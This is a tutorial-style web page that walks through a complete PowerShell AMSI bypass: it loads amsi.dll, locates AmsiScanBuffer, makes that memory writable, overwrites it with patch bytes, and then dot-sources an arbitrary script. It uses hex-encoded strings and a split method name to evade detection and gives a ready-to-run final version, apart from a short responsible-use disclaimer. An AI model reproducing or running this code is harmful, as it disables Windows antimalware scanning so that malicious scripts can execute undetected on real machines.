Bypass AMSI Like a King
Describes how to bypass the Anti-Malware Scan Interface (AMSI) using PowerShell.
Summary
This document describes how to bypass the Anti-Malware Scan Interface (AMSI) using PowerShell. It involves loading the amsi.dll
into memory, finding the memory address of the AmsiScanBuffer
function, and changing the memory protection to allow writing and executing code. Shellcode is then injected, and a PowerShell script is run. This method is mainly used for cybersecurity research and testing purposes and should be used responsibly.
1. Defining a C## Class with PInvoke Methods
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
In PowerShell, you can’t directly call functions from Windows DLLs like kernel32.dll
or user32.dll
. These DLLs contain functions written in languages like C or C++. However, you can use a feature called PInvoke (Platform Invocation Services) to call these functions from PowerShell. PInvoke allows managed code (like C##) to call unmanaged functions.
Explanation:
- This part of the code defines a C## class
Win32
using a here-string (@" ... "@
) in PowerShell. - This class contains three methods:
GetProcAddress
,LoadLibrary
, andVirtualProtect
. - These methods use the
[DllImport]
attribute, which tells the .NET runtime to look for these functions in the specified DLLs (kernel32.dll
in this case). GetProcAddress
retrieves the address of an exported function from a DLL.LoadLibrary
loads a DLL into the process’s address space.VirtualProtect
changes the protection on a region of memory.
2. Loading amsi.dll
1
2
3
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
The script aims to interact with functions from amsi.dll
, which is a Windows DLL containing functions related to the Anti-Malware Scan Interface (AMSI). Before you can use functions from a DLL, you need to load the DLL into memory. The LoadLibrary
function from kernel32.dll
is used for this purpose.
Explanation:
- This part initializes a byte array
$nowhere
representing the ASCII characters of the string “amsi.dll”. - It then calls the
LoadLibrary
method from theWin32
class to loadamsi.dll
into memory. - The result, which is a handle to the loaded DLL, is stored in the variable
$LoadLibrary
.
3. Getting the Address of AmsiScanBuffer
1
2
$somewhere = [Byte[]](0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
The script needs to find the memory address of the AmsiScanBuffer
function inside amsi.dll
. This is necessary to modify or intercept the behavior of the AmsiScanBuffer
function later in the script. The GetProcAddress
function from kernel32.dll
is used to retrieve the address of a function within a loaded DLL.
Explanation:
- This part initializes a byte array
$somewhere
representing the ASCII characters of the string “AmsiScanBuffer”. - It calls the
GetProcAddress
method from theWin32
class to retrieve the address of theAmsiScanBuffer
function withinamsi.dll
. - The resulting memory address is stored in the variable
$notaddress
.
4. Changing Memory Protection
1
2
3
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
Explanation:
- This part sets up a variable
$notp
to hold the old protection value. - It constructs the name of the
VirtualProtect
method dynamically using the variable$replace
. - Then, it calls the dynamically constructed method to change the memory protection of the
AmsiScanBuffer
function to allow writing and executing code.
5. Injecting Shellcode
1
2
3
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)
6. Executing Your PowerShell Script
1
2
Unblock-File -Path .\malas.ps1
. .\malas.ps1
Explanation:
- This part of the code unblocks the script file
malas.ps1
, if it was blocked for security reasons. - Then, it executes the
malas.ps1
script by dot-sourcing it (.
operator followed by the script name). This runs the script in the current PowerShell session.
7. Final Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$c = 't'
$Win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtec$c(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere))
$somewhere = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere))
$notp = 0
$replace = 'VirtualProtec'
[Win32]::('{0}{1}' -f $replace,$c)($notaddress, [uint32]5, 0x40, [ref]$notp)
$stopitplease = [Byte[]] (0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3)
$marshalClass = [System.Runtime.InteropServices.Marshal]
$marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length)
8. Run you powershell script
1
2
3
Run your powershell here
Unblock-File -Path .\malas.ps1
. .\malas.ps1